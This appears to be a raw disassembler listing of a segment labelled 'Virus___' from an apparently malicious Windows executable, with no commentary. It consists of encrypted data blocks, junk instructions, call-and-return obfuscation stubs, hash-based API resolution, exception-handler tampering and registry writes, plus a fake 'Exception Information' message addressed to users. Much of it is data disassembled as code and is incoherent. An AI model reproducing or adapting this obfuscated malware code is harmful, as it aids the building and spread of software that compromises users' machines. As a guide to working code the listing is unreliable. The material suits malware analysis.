6A071Dh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h dd 53430000h, 182DEFC3h, 0E95E9C30h, 0Dh, 0E5C70E4Ah, 57FA8F07h dd 8A58763Dh, 13E965h, 0BA660000h, 0BF0FEAC6h, 4A858DF9h dd 1071DEEh, 1B1E999Dh, 6A5007h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 150424h, 53430000h, 8BF0C8C3h, 1B0E258Dh dd 17B5FF07h, 8B071DEEh, 1B0A8D8Dh, 0F95FF07h, 6A071DEEh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h dd 46000000h, 2FF0C356h, 0EF489720h, 155C73Eh, 1B354D85h dd 8AE28107h, 855CB063h, 12850FC0h, 0E9000000h, 0Dh, 0EDD31268h dd 2260E3FEh, 0A3833975h, 1B85897Eh, 9071DEEh, 1B2291B5h dd 6AD18B07h, 0B58B6000h, 71B1199h, 2CE99589h, 6A61071Bh dd 0D2B70F00h, 0EE1BB5FFh, 6A071Dh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 214889C3h dd 0B02CB26h, 0FFE52C90h, 1DEE0795h, 50006A07h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1A04h, 0C3504000h, 935F56Fh, 852025D0h dd 2850FC0h, 8A000000h, 1BB5FFCCh, 29071DEEh, 1B2CF195h dd 0F595FF07h, 0F071B0Bh, 68Ch, 8D858900h, 85071B34h, 1F850FC0h dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 17042444h, 45000000h, 86C7C355h, 6ADB3Bh, 0DE9h, 32831200h dd 0AAB95B60h, 1571E30h, 80683C27h, 81000000h, 0A3FC2E7h dd 60036A59h, 2435958Bh, 5E9071Bh, 23000000h, 0CCAEAFA7h dd 0ADBD8B61h, 6A071B24h, 95895100h, 71B3435h, 89006A5Fh dd 1B345585h, 6807h, 0CE8C000h, 76000000h, 0BA222F42h dd 9BC6CF94h, 66FC2FBCh, 8955E781h, 93B5FF59h, 0F9071DEEh dd 0A057B966h, 2AD595FFh, 8166071Bh, 834B2CC9h, 850FFFF8h dd 57Fh, 185FFF9h, 0F071DF9h, 683h, 79BD0900h, 83071B04h dd 1DF901BDh, 840F0207h, 46Dh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ch, 6CC35646h, 780AF2EFh, 0A72B5B7Ah dd 10DD8060h, 13820Fh, 0EE90000h, 9E000000h, 8D18C0BCh dd 0B61883C0h, 0CF15AFB4h, 0F18A61B1h, 243B858Dh, 6A005Bh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 0F2366FC3h, 0B8C562ABh, 0F1850196h, 8B071B0Dh, 1B2A5DBDh dd 6AD0FF07h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1A042444h, 41000000h, 279EC351h, 0B48CA4B3h, 8E858DBDh dd 0F005B1Eh, 682h, 74E78100h, 0FF74F316h, 8BD38BD0h, 9ADA81C0h dd 833435FEh, 1B1BD1BDh, 9750007h, 1FD5BD83h, 7400071Bh dd 8B535019h, 7D8B8C0h, 85890000h, 71B2A61h, 0ABB89D8Dh dd 0D3FF071Dh, 0BD83585Bh, 71B1FD5h, 50177400h, 7D8B853h dd 85890000h, 71B2A61h, 0A8A79D8Dh, 0D3FF071Dh, 0BF0F585Bh dd 0CA8B52F8h, 8EBA665Ah, 6AC08B78h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 0E991C353h dd 0Bh, 0EC647C4Ah, 654D2F93h, 68433764h, 0F003Fh, 13E9h dd 0A24400h, 12D6BA54h, 89CB83E1h, 0ED6ABCE8h, 643D8DEFh dd 82B9006Ah, 6A503FC7h, 8ABF6600h, 0B595FFE0h, 66071B15h dd 0DBCBDA81h, 0BD8BC085h, 71B29E9h, 1FC59531h, 8589071Bh dd 71DEE17h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 18h, 0C7C35141h, 0DDD265Bh, 0F01FF68h, 73F68000h, 226DBD83h dd 0F00071Bh, 2D84h, 89950300h, 8D071B2Eh, 1DEE7485h, 69BD3307h dd 0E9071B21h, 1Fh, 0BE960h, 2D840000h, 8AF9A08Fh, 0E0AEBB4Ch dd 9BB66D6h, 858D614Dh, 71DEE4Ah, 50F9B70Fh, 6860Fh, 9D290000h dd 71B1F71h, 0EE17B5FFh, 6A071Dh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 170424h, 53430000h, 78DA42C3h, 0F95FF2Ah dd 6A071DEEh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1D042444h, 41000000h, 0EE36C351h, 575B468Ch, 62C19EB4h dd 0EE1B8589h, 8957071Dh, 1B17619Dh, 85C75F07h, 71B0C05h dd 0 ; --------------------------------------------------------------------------- jmp loc_56D31A ; --------------------------------------------------------------------------- popa mov ds:0EB00DF54h, eax inc ecx adc al, 0D2h loc_56D31A: ; CODE XREF: Virus___:0056D30Cj cmp dword ptr [ebp+71DEE1Bh], 0 jz loc_56D509 push 0 push ebp call sub_56D332 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_56D332 proc near ; CODE XREF: Virus___:0056D32Ap arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 19h inc ebp push ebp retn sub_56D332 endp ; --------------------------------------------------------------------------- dw 0FF3Eh dd 0CEB1DFEh, 98B913BAh, 0F9858D32h, 0E8071DF0h, 0Dh, 369F09AAh dd 323DFB22h, 6455036Ah, 0E9816627h, 505FC3E3h, 14E9016Ah dd 39000000h, 842759E5h, 0C6C249FCh, 2B52F8D0h, 0F62EA6FCh dd 0FF08B919h, 1DEE1BB5h, 51006A07h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1404h, 0C3514100h, 0DE960DAh dd 0B9000000h, 23CCE8B9h, 0CF5C2823h, 49F7B41Eh, 1EFDBD33h dd 0FF61071Bh, 1DEE1395h, 0EE907h, 0A3810000h, 5736BAB4h dd 593499E9h, 0AC1D99B0h, 0EE1BB5FFh, 6A071Dh, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 0D69E83C3h, 93476ADEh, 8B66B0D8h, 0F595FFCBh, 6A071B0Bh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h dd 41000000h, 8FD1C351h, 0C706F924h, 0F8B70FADh, 0F01FF68h dd 0D8C98000h, 226DBD83h, 0F00071Bh, 2B84h, 51850900h dd 8D071B30h, 1DEE7485h, 6810F07h, 33000000h, 1B1F9195h dd 0D1BD2907h, 0E9071B28h, 2Dh, 55952B57h, 5A071B2Ch, 0EE4A858Dh dd 8C0F071Dh, 19h, 14E9h, 5DB1E900h, 0A43AD8EDh, 3207A235h dd 0E9A6911Ch, 0F8F8C69Ah, 0B5FF502Ah, 71DEE17h, 0EC26BA66h dd 0EE0F95FFh, 8B50071Dh, 85895FF9h, 71DEE1Bh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 9CC35343h, 0E98D296Fh dd 0FF071B1Bh, 1DEE1BB5h, 75952307h, 0FF071B1Bh, 1DEE0B95h dd 0DA816607h, 890F00C1h, 6, 0D919529h, 0B5FF071Bh, 71DEE1Bh dd 0FF5AF852h, 1B0BF595h ; --------------------------------------------------------------------------- pop es loc_56D509: ; CODE XREF: Virus___:0056D321j jmp near ptr dword_56C514+654h ; --------------------------------------------------------------------------- mov dx, ax push dword ptr [ebp+71DF964h] push 0 push eax call sub_56D522 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_56D522 proc near ; CODE XREF: Virus___:0056D51Ap arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ah inc eax push eax retn sub_56D522 endp ; --------------------------------------------------------------------------- mov ds:3CEABC68h, al cmp eax, 7195FF1Dh or ebx, [ebx] pop es mov edi, 71D89848h mov eax, [ebp+71B2735h] mov edi, ecx jmp loc_56DB20 ; --------------------------------------------------------------------------- jmp loc_56D569 ; --------------------------------------------------------------------------- dw 3E2Eh dd 1D061FF0h, 63925B63h, 707262E6h, 0FD40951h db 30h ; --------------------------------------------------------------------------- loc_56D569: ; CODE XREF: Virus___:0056D551j lea esi, [ebp+71DF119h] push 0 push ebp call sub_56D57A and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_56D57A proc near ; CODE XREF: Virus___:0056D572p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 15h inc ebp push ebp retn sub_56D57A endp ; --------------------------------------------------------------------------- dw 0B094h ; --------------------------------------------------------------------------- lea eax, [ebp+71DA57Eh] jmp loc_56D59F ; --------------------------------------------------------------------------- db 9Ch dd 9B1260F3h db 68h, 0FFh, 0F8h ; --------------------------------------------------------------------------- loc_56D59F: ; CODE XREF: Virus___:0056D592j call eax mov dx, 0CE22h push 0 or edx, [ebp+71B2545h] mov [ebp+71B2571h], esi call dword ptr [ebp+71B145Dh] movzx edx, di mov esi, ebx mov edi, 124E16h lea eax, [ebp+71DA57Eh] movzx ecx, si mov edx, [ebp+71B00DDh] call eax push edi mov ecx, 60C0878Eh pop ecx jmp loc_56D5EE ; --------------------------------------------------------------------------- dd 4C3B910Bh, 4EF91C1Ah, 0A08D7853h db 57h, 23h ; --------------------------------------------------------------------------- loc_56D5EE: ; CODE XREF: Virus___:0056D5DBj push 0 mov cl, 1Ch call dword ptr [ebp+71B145Dh] js loc_56D603 mov edx, 1E112462h loc_56D603: ; CODE XREF: Virus___:0056D5F8j mov eax, eax cmp dword ptr [ebp+71B1BD1h], 0 jnz short loc_56D617 cmp dword ptr [ebp+71B1FD5h], 0 jz short loc_56D630 loc_56D617: ; CODE XREF: Virus___:0056D60Cj push eax push ebx mov eax, eax mov eax, 7D9h mov [ebp+71B2A61h], eax lea ebx, [ebp+71DABB8h] call ebx pop ebx pop eax loc_56D630: ; CODE XREF: Virus___:0056D615j cmp dword ptr [ebp+71B1FD5h], 0 jz short loc_56D650 push eax push ebx mov eax, 7D9h mov [ebp+71B2A61h], eax lea ebx, [ebp+71DA8A7h] call ebx pop ebx pop eax loc_56D650: ; CODE XREF: Virus___:0056D637j sub [ebp+71B21B1h], ecx push 0 push ebp call sub_56D661 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_56D661 proc near ; CODE XREF: Virus___:0056D659p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 16h inc ebp push ebp retn sub_56D661 endp ; --------------------------------------------------------------------------- db 0F4h, 0Ah, 0AAh ; --------------------------------------------------------------------------- mov cx, 2231h mov eax, eax mov cx, 0B08h push eax push 0 push esi call sub_56D68A and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_56D68A proc near ; CODE XREF: Virus___:0056D682p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 16h inc esi push esi retn sub_56D68A endp ; --------------------------------------------------------------------------- dw 0A1F7h dd 0F1BD8B05h, 0F071B29h, 0D88BCEB7h, 1FD98D8Bh, 8D53071Bh dd 1B15459Dh, 89038B07h, 50438B03h, 8D504389h, 1DF8FD9Dh dd 89038B07h, 95295B03h, 71B2231h, 0E8006AFCh, 8, 27D585E0h dd 0E89007B0h, 0DE9h, 0DA75ED00h, 8E58AA11h, 16CFE49Bh dd 8D59C067h, 1DF8FD85h, 50D48A07h, 5840Fh, 81660000h dd 6AE7ECEAh, 99858960h, 8D071B14h, 1B154585h, 50EA8A07h dd 6AD38Bh, 5D8D8Bh, 6A071Bh, 38D0Fh, 0DE800000h, 18006849h dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h dd 50400000h, 41D346C3h, 0B8E717ACh, 6FB66F08h, 59B58B60h dd 8B071B2Eh, 1B05B98Dh, 80536107h, 95FF84DEh, 71B2AC9h dd 80CFB70Fh, 95FFE5D6h, 71B293Dh, 2DF78166h, 64B5FFF1h dd 6A071DF9h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1B042444h, 47000000h, 0A632C357h, 58525FB4h, 0CE832A6h dd 0D5000000h, 820D5D91h, 0F432AF7Bh, 0BAB7F7E2h, 2A0BD3E1h dd 890F5Ah, 0FF000000h, 1B0B7195h, 0F5950307h, 8D071B2Dh dd 1B154585h, 57006A07h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1804h, 0C3574700h, 1C18B909h, 0D0B70F77h, 8018408Bh dd 85C7E8D1h, 71B1A91h, 0 ; --------------------------------------------------------------------------- jmp loc_56D825 ; --------------------------------------------------------------------------- db 8Ah, 12h, 0Dh ; --------------------------------------------------------------------------- adc [ebx+54h], edi mov bh, 0 push ebx retf 0B785h ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- dw 0D56Dh dd 0BA7BCFFFh ; --------------------------------------------------------------------------- push ebx loc_56D825: ; CODE XREF: Virus___:0056D80Cj cmp dword ptr [ebp+71B226Dh], 0 jz loc_56D86D mov cl, bl cmp eax, 8Ch jnb loc_56DA45 jmp loc_56D858 ; --------------------------------------------------------------------------- dd 3A219484h, 0CF063123h, 8F559498h, 78D56CD8h, 0BFC2182Fh ; --------------------------------------------------------------------------- loc_56D858: ; CODE XREF: Virus___:0056D83Fj pusha mov [ebp+71B12C9h], eax mov ebx, [ebp+71B1EC1h] popa jmp loc_56D878 ; --------------------------------------------------------------------------- mov dl, 0B3h loc_56D86D: ; CODE XREF: Virus___:0056D82Cj cmp eax, 98h jnb loc_56DA45 loc_56D878: ; CODE XREF: Virus___:0056D866j lea eax, dword_5B243B[ebp] add di, 0C838h mov [ebp+71B2765h], ecx call eax push edx movsx edi, ax pop edi sub ecx, 6C137C17h lea eax, word_5B1E8E[ebp] and dh, 3Eh call eax mov edi, eax mov eax, eax push 0 push esi call sub_56D8B0 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_56D8B0 proc near ; CODE XREF: Virus___:0056D8A8p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 16h inc esi push esi retn sub_56D8B0 endp ; --------------------------------------------------------------------------- dd 10B2DC8h, 1B2ACDB5h, 0D1BD8307h, 71B1Bh, 0BD830975h dd 71B1FD5h, 50197400h, 0B8C08B53h, 0BC6h, 2A618589h, 9D8D071Bh dd 71DABB8h, 585BD3FFh, 1FD5BD83h, 7400071Bh, 0B8535017h dd 0BC6h, 2A618589h, 9D8D071Bh, 71DA8A7h, 585BD3FFh, 9E8h dd 0F071AD00h, 1C9B6688h, 666041A8h, 8B72E4BFh, 1B2BD185h dd 8B5F6107h, 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1904h, 0C3524200h, 0BC55CB5Fh, 0AE990C1h, 0C4000000h dd 2E3CCDCDh, 0EDFDEB2Ch, 2A08BA78h, 0BF6618DAh, 0F8837C02h dd 8E850FFFh, 0F000000h, 589h, 0E769BF00h, 85C72366h, 71B0661h dd 0 ; --------------------------------------------------------------------------- jnz loc_56D994 mov [ebp+71B1461h], edi loc_56D994: ; CODE XREF: Virus___:0056D988j jmp loc_56DADB ; --------------------------------------------------------------------------- push 0 push ecx call sub_56D9A4 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_56D9A4 proc near ; CODE XREF: Virus___:0056D99Cp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Dh inc ecx push ecx retn sub_56D9A4 endp ; --------------------------------------------------------------------------- adc eax, 6D446F45h sub dh, dh mov ds:958B3543h, eax icebp or [ebx], bl pop es jmp loc_56DA3A ; --------------------------------------------------------------------------- push 0 push edx call sub_56D9D4 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_56D9D4 proc near ; CODE XREF: Virus___:0056D9CCp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Dh inc edx push edx retn sub_56D9D4 endp ; --------------------------------------------------------------------------- dd 472AEFF4h, 0EDAF0D3h, 8166BFD7h, 0E96C7AE1h, 9, 8DD3329Ch dd 6C969D9h, 1F88317h, 30850Fh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1C0424h, 50400000h, 0B0C849C3h dd 5F78E59Eh, 0B9660A76h, 0E9E94594h, 0B6000000h db 0BCh, 0F8h ; --------------------------------------------------------------------------- loc_56DA3A: ; CODE XREF: Virus___:0056D9C4j jmp near ptr dword_56C514+654h ; --------------------------------------------------------------------------- mov edx, [ebp+71B0DB5h] loc_56DA45: ; CODE XREF: Virus___:0056D839j ; Virus___:0056D872j mov eax, eax and cx, 90Fh cmp dword ptr [ebp+71B1BD1h], 0 jnz short loc_56DA5E cmp dword ptr [ebp+71B1FD5h], 0 jz short loc_56DA77 loc_56DA5E: ; CODE XREF: Virus___:0056DA53j push eax push ebx mov eax, eax mov eax, 7DDh mov [ebp+71B2A61h], eax lea ebx, [ebp+71DABB8h] call ebx pop ebx pop eax loc_56DA77: ; CODE XREF: Virus___:0056DA5Cj cmp dword ptr [ebp+71B1FD5h], 0 jz short loc_56DA97 push eax push ebx mov eax, 7DDh mov [ebp+71B2A61h], eax lea ebx, [ebp+71DA8A7h] call ebx pop ebx pop eax loc_56DA97: ; CODE XREF: Virus___:0056DA7Ej mov [ebp+71B2A51h], esi push 0 push eax call sub_56DAA8 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_56DAA8 proc near ; CODE XREF: Virus___:0056DAA0p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 16h inc eax push eax retn sub_56DAA8 endp ; --------------------------------------------------------------------------- dd 8BEEA76Ch, 1B1761BDh, 8BC08B07h, 1B14918Dh, 223E907h dd 0F600000h, 387h, 0CBB70F00h ; --------------------------------------------------------------------------- mov dl, 25h popa loc_56DADB: ; CODE XREF: Virus___:loc_56D994j lea eax, [ebp+71DF701h] push 0 push ebp call sub_56DAEC and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_56DAEC proc near ; CODE XREF: Virus___:0056DAE4p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Bh inc ebp push ebp retn sub_56DAEC endp ; --------------------------------------------------------------------------- push ds sbb al, 0DDh sti inc esi or ch, bl dec edi pusha add eax, 7DB625F5h mov ebx, [ebp+71B0435h] popa mov [ebp+71DF8F9h], eax stc jmp loc_56DB57 ; --------------------------------------------------------------------------- mov dh, 2Eh loc_56DB20: ; CODE XREF: Virus___:0056D54Cj ; Virus___:0056DB40j lea eax, [ebp+71DF509h] mov edx, [ebp+71B1691h] inc eax mov [ebp+71DF8F9h], eax push ecx sub [ebp+71B22E9h], edx pop ecx call near ptr loc_56DB4C+4 jecxz short near ptr loc_56DB20+1 cdq adc bh, [edx+0Dh] imul esp, ebp, 13657289h loc_56DB4C: ; CODE XREF: Virus___:0056DB3Bp mov al, ds:134BE9Dh popf stc sbb eax, cs:[edi] pop edx loc_56DB57: ; CODE XREF: Virus___:0056DB19j push 34h lea eax, [ebp+71B31E1h] push eax push dword ptr [ebp+71DF8F9h] push 0 call dword ptr [ebp+71B2959h] cmp eax, 7 jz loc_56DCDF mov bx, ds test bl, 4 jnz loc_56DC85 mov byte ptr [ebp+71B1C05h], 56h push 9CA8B852h push dword ptr [ebp+71B225Dh] lea eax, [ebp+71B3B0Ch] call eax push 4 push 1000h push 64h push 0 call eax mov [ebp+71DF96Ch], eax mov byte ptr [ebp+71B1C05h], 47h push 0EC18AC9Bh push dword ptr [ebp+71B225Dh] lea eax, [ebp+71B3B0Ch] call eax call eax mov esi, eax mov byte ptr [ebp+71B1C05h], 4Fh push 0C62F2661h push dword ptr [ebp+71B00ADh] lea eax, [ebp+71B3B0Ch] call eax lea ebx, [ebp+71DF968h] push ebx push 28h push esi call eax test eax, eax jnz short $+2 mov byte ptr [ebp+71B1C05h], 41h push 0DB876498h push dword ptr [ebp+71B00ADh] lea eax, [ebp+71B3B0Ch] call eax mov [ebp+71DF985h], eax mov byte ptr [ebp+71B1C05h], 4Ch push 80A4E7A4h push dword ptr [ebp+71B00ADh] lea eax, [ebp+71B3B0Ch] call eax mov ebx, [ebp+71DF96Ch] lea ebx, [ebx+4] push ebx lea ebx, [ebp+71DF971h] push ebx push 0 call eax mov ebx, [ebp+71DF96Ch] mov dword ptr [ebx], 1 mov dword ptr [ebx+0Ch], 2 mov ebx, [ebp+71B04B1h] mov dword ptr [ebp+71B0349h], 0 push 0 push 0 push 0 mov ebx, [ebp+71DF96Ch] push ebx push 0 push dword ptr [ebp+71DF968h] call dword ptr [ebp+71DF985h] loc_56DC85: ; CODE XREF: Virus___:0056DB7Dj mov byte ptr [ebp+71B1C05h], 45h push 92A5F797h push dword ptr [ebp+71B08CDh] lea eax, [ebp+71B3B0Ch] call eax push 0 push 2 call eax mov bx, ds test bl, 4 jnz short loc_56DCDF mov ebx, [ebp+71DF96Ch] mov dword ptr [ebx+0Ch], 0 push 0 push 0 mov ebx, [ebp+71DF96Ch] push ebx push 0 push dword ptr [ebp+71DF968h] call dword ptr [ebp+71DF985h] push dword ptr [ebp+71DF968h] call dword ptr [ebp+71B293Dh] loc_56DCDF: ; CODE XREF: Virus___:0056DB71j ; Virus___:0056DCABj push 0 call dword ptr [ebp+71B145Dh] mov [ebp+71B22D5h], ebx mov cx, 0D853h lea eax, [ebp+71E2D37h] or ecx, 1F207329h push eax push 0 push ebx call sub_56DD09 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_56DD09 proc near ; CODE XREF: Virus___:0056DD01p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 18h inc ebx push ebx retn sub_56DD09 endp ; --------------------------------------------------------------------------- adc [esp+eax], eax leave stosd push large dword ptr fs:0 mov dx, 8DB1h mov large fs:0, esp mov dx, bx cmp dword ptr [ebp+71B2EB5h], 0 jz loc_56DDB3 jmp loc_56DD54 ; --------------------------------------------------------------------------- db 0ABh, 1Ah, 0A1h dd 0F3651212h, 618B3DBh, 80D4ACB0h ; --------------------------------------------------------------------------- loc_56DD54: ; CODE XREF: Virus___:0056DD40j mov di, 0A62Ch cmp dword ptr [ebp+71B2105h], 1 jnz loc_56DDB3 push 0 push ecx call sub_56DD70 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_56DD70 proc near ; CODE XREF: Virus___:0056DD68p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Dh inc ecx push ecx retn sub_56DD70 endp ; --------------------------------------------------------------------------- mov dl, 72h and [eax+1Fh], dh xchg al, [ebx-52h] sbb bl, bh push esi sub [ebp+71B2535h], eax pop edx cmp byte ptr [ebp+71DFD85h], 0 jnz loc_56DDB3 xor cx, 6303h jmp loc_56DF6D ; --------------------------------------------------------------------------- mov di, 4F51h mov ecx, [ebp+71B2CA5h] loc_56DDB3: ; CODE XREF: Virus___:0056DD3Aj ; Virus___:0056DD5Fj ... xor ebx, ebx jmp loc_56DDCA ; --------------------------------------------------------------------------- dw 0F60Eh ; --------------------------------------------------------------------------- cmp esi, ecx inc edx pop ss sub eax, 25D44F10h cmp al, 46h or esi, [ebx+edx] loc_56DDCA: ; CODE XREF: Virus___:0056DDB5j xor eax, eax call near ptr loc_56DDD9+1 in eax, 56h in al, 18h popa aas mov ch, 1Dh loc_56DDD9: ; CODE XREF: Virus___:0056DDCCp adc [ecx-39BEF02Eh], al add eax, 3F0F405Fh pop es or esp, [edi+ecx*4+5] ; --------------------------------------------------------------------------- db 3 dup(0) dd 4C48300h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ch, 0B7C35646h, 0E082D050h, 3028879Ah, 0FB83C88Bh dd 4A840FFFh, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1D042444h, 45000000h, 0D64C355h, 588DA0A3h dd 4BA450ABh, 8E8h, 3594B800h, 14428D92h, 25BD8B85h, 59071B24h dd 16DDB529h, 0E9071Bh, 50000001h, 4A86BF66h, 80E95Ah dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h dd 52420000h, 9412FBC3h, 407C46A7h, 0F1B52916h, 0F071B1Eh dd 6651D2BFh, 19A2CA81h, 244C8B5Fh, 0A481C70Ch, 0FF000000h dd 83FFFFFFh, 0B881h, 0C0330400h, 245C8BC3h, 0E8550Ch dd 5D000000h, 2D59ED81h, 838B071Eh, 0B8h, 2E03858Dh, 8389071Eh dd 0B8h, 0C3C0335Dh, 6870F50h, 8B000000h, 1B23E18Dh, 858D5F07h dd 71E2D4Fh, 53006A50h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1604h, 0C3534300h, 60013053h, 18F0Fh, 8BFC0000h, 816661D8h dd 64D05DC9h, 35FFh, 0B9660000h, 8964489Bh, 25h, 45BD8900h dd 0B9071B1Fh, 0Ah, 55D704B8h, 81640548h, 65BB0DF7h, 0BA8685D4h dd 34B640h, 5FE8EA81h, 81ED0034h, 4D5868FBh, 0C70A7556h dd 1B32C985h, 107h db 0 ; --------------------------------------------------------------------------- loc_56DF6D: ; CODE XREF: Virus___:0056DDA4j pop large dword ptr fs:0 add esp, 4 jmp loc_56DF87 ; --------------------------------------------------------------------------- dd 2E32B993h, 5E85FB8Ah db 89h, 5, 83h ; --------------------------------------------------------------------------- loc_56DF87: ; CODE XREF: Virus___:0056DF77j and di, 0A0E6h jmp loc_56DFA0 ; --------------------------------------------------------------------------- db 43h, 42h, 3Ah dd 0FCD598C6h, 9A50A1A8h, 1B635D57h ; --------------------------------------------------------------------------- loc_56DFA0: ; CODE XREF: Virus___:0056DF8Cj mov eax, eax jno loc_56DFAE sub [ebp+71B0BC5h], ecx loc_56DFAE: ; CODE XREF: Virus___:0056DFA2j cmp dword ptr [ebp+71B1BD1h], 0 jnz short loc_56DFC0 cmp dword ptr [ebp+71B1FD5h], 0 jz short loc_56DFD9 loc_56DFC0: ; CODE XREF: Virus___:0056DFB5j push eax push ebx mov eax, eax mov eax, 43Dh mov [ebp+71B1311h], eax lea ebx, [ebp+71DAC1Fh] call ebx pop ebx pop eax loc_56DFD9: ; CODE XREF: Virus___:0056DFBEj cmp dword ptr [ebp+71B1FD5h], 0 jz short loc_56DFF9 push eax push ebx mov eax, 43Dh mov [ebp+71B1311h], eax lea ebx, [ebp+71DA8C0h] call ebx pop ebx pop eax loc_56DFF9: ; CODE XREF: Virus___:0056DFE0j push 0 push esi call sub_56E004 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_56E004 proc near ; CODE XREF: Virus___:0056DFFCp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ch inc esi push esi retn sub_56E004 endp ; --------------------------------------------------------------------------- db 3Eh dec eax fcomp qword ptr [ecx-6028919Fh] xor al, 60h mov [ebp+71B212Dh], esi sub [ebp+71B3099h], eax popa mov eax, eax jmp loc_56E179 ; --------------------------------------------------------------------------- dw 4 dd 2E310000h, 303139h, 7 dup(0) aExceptionInfor db 'Exception Information',0 aPleaseContactT db 'Please, contact the software developers with the following codes.' db ' Thank you.',0Ah db 0Dh,0Ah db 0Dh,' (press CTRL+C on this window to copy to clipboard) ',0Ah db 0Dh,0Ah db 0Dh,'Version = %s',0Ah db 0Dh,'CheckIN = %d',0Ah db 0Dh,'CheckOUT = %d',0Ah db 0Dh,'ProcIN = %d',0Ah db 0Dh,'ProcOUT = %d',0Ah db 0Dh,'ExitIN = %d',0Ah db 0Dh,'ExitOUT = %d',0Ah db 0Dh,'TPin = %d',0Ah db 0Dh,0 ; --------------------------------------------------------------------------- loc_56E179: ; CODE XREF: Virus___:0056E02Dj cmp dword ptr [ebp+71B1EF5h], 0 jz loc_56E2B3 lea eax, [ebp+71DA6D7h] push eax lea eax, [ebp+71DA641h] push eax push 80000001h call dword ptr [ebp+71DA6E7h] lea eax, [ebp+71E2EC8h] push eax lea eax, [ebp+71E2ED2h] push eax push 0 push 0 lea eax, [ebp+71DA655h] push eax push dword ptr [ebp+71DA6D7h] call dword ptr [ebp+71B2B95h] lea eax, [ebp+71E2EC8h] push eax lea eax, [ebp+71E2ED6h] push eax push 0 push 0 lea eax, [ebp+71DA667h] push eax push dword ptr [ebp+71DA6D7h] call dword ptr [ebp+71B2B95h] lea eax, [ebp+71E2EC8h] push eax lea eax, [ebp+71E2EE2h] push eax push 0 push 0 lea eax, [ebp+71DA6B4h] push eax push dword ptr [ebp+71DA6D7h] call dword ptr [ebp+71B2B95h] lea eax, [ebp+71E2EC8h] push eax lea eax, [ebp+71E2EEAh] push eax push 0 push 0 lea eax, [ebp+71DA6D2h] push eax push dword ptr [ebp+71DA6D7h] call dword ptr [ebp+71B2B95h] lea eax, [ebp+71E2EC8h] push eax lea eax, [ebp+71E2EE6h] push eax push 0 push 0 lea eax, [ebp+71DA6BBh] push eax push dword ptr [ebp+71DA6D7h] call dword ptr [ebp+71B2B95h] lea eax, [ebp+71E2EC8h] push eax lea eax, [ebp+71E2EDAh] push eax push 0 push 0 lea eax, [ebp+71DA6C3h] push eax push dword ptr [ebp+71DA6D7h] call dword ptr [ebp+71B2B95h] lea eax, [ebp+71E2EC8h] push eax lea eax, [ebp+71E2EDEh] push eax push 0 push 0 lea eax, [ebp+71DA6CAh] push eax push dword ptr [ebp+71DA6D7h] call dword ptr [ebp+71B2B95h] push dword ptr [ebp+71DA6D7h] call dword ptr [ebp+71B21A9h] jmp loc_56E355 ; --------------------------------------------------------------------------- 